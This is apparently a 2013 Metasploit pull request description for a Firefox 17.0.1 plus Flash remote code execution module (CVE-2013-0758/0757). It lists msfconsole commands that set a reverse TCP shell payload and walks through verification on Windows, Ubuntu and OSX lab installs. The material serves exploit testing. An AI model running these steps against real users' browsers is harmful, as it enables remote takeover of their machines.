rapid7/metasploit-framework — pull request #1856 by jvennix-r7 (2013-05-21 19:33:44+00:00)
Title: CVE-2013-0758 Firefox <= 17.0.1 + Flash RCE

Gains a session on Firefox <= 17.0.1 using the vulnerabilites CVE-2013-0758 and CVE-2013-0757.

Environments for OSX, Ubuntu, and Windows with Firefox <= 17.0.1 and (any version of) Flash are required. You can grab the old Firefox versions from http://www.oldapps.com/:

### Verification steps:
#### Verify Windows x86 rce:
- [ ] Obtain a copy of windows (x86), install Firefox 17.0.1 from [here](http://www.oldapps.com/firefox.php?old_firefox=8521).
- [ ] Configure the module for windows:
`use exploits/multi/browser/firefox_svg_plugin`
`set target 0`
`set payload generic/shell_reverse_tcp`
`set LHOST `
`rexploit`
- [ ] In your windows install, open Firefox 17.0.1 and browse to the URL printed in msfconsole. You will be prompted to install Flash. Go through the installation process, then exit Firefox when complete.,
- [ ] In your windows install, re-open Firefox 17.0.1 and browse to the URL. Metasploit should gain a session.

#### Verify Ubuntu x86 rce:
- [ ] Obtain any Ubuntu install, download Firefox 17.0 from [here](http://www.oldapps.com/linux/firefox.php?old_firefox=11594) and extract it to your ~/Desktop.
- [ ] Configure the module for Ubuntu:
`set target 1`
`rexploit`
- [ ] In your Ubuntu install, open Firefox 17.0 by running: `~/Desktop/firefox/firefox-bin`. Browse to the URL printed in msfconsole. You will be prompted to install Flash. Go through the installation process, then exit Firefox when complete.
- [ ] Launch firefox again: `~/Desktop/firefox/firefox-bin` and browse to the URL. Metasploit should gain a session.

#### Verify OSX x86 rce:
- [ ] Obtain any x86 OSX install. Download Firefox from [here](http://www.oldapps.com/mac/firefox.php?old_firefox=10014). Open the dmg and launch Firefox.
- [ ] Configure the module for OSX:
`set target 2`
`rexploit`
- [ ] In your OSX install, browse Firefox to the URL printed in msfconsole. Install Flash if you need to and restart Firefox, then browse to the URL again.
- [ ] Metasploit should gain a session.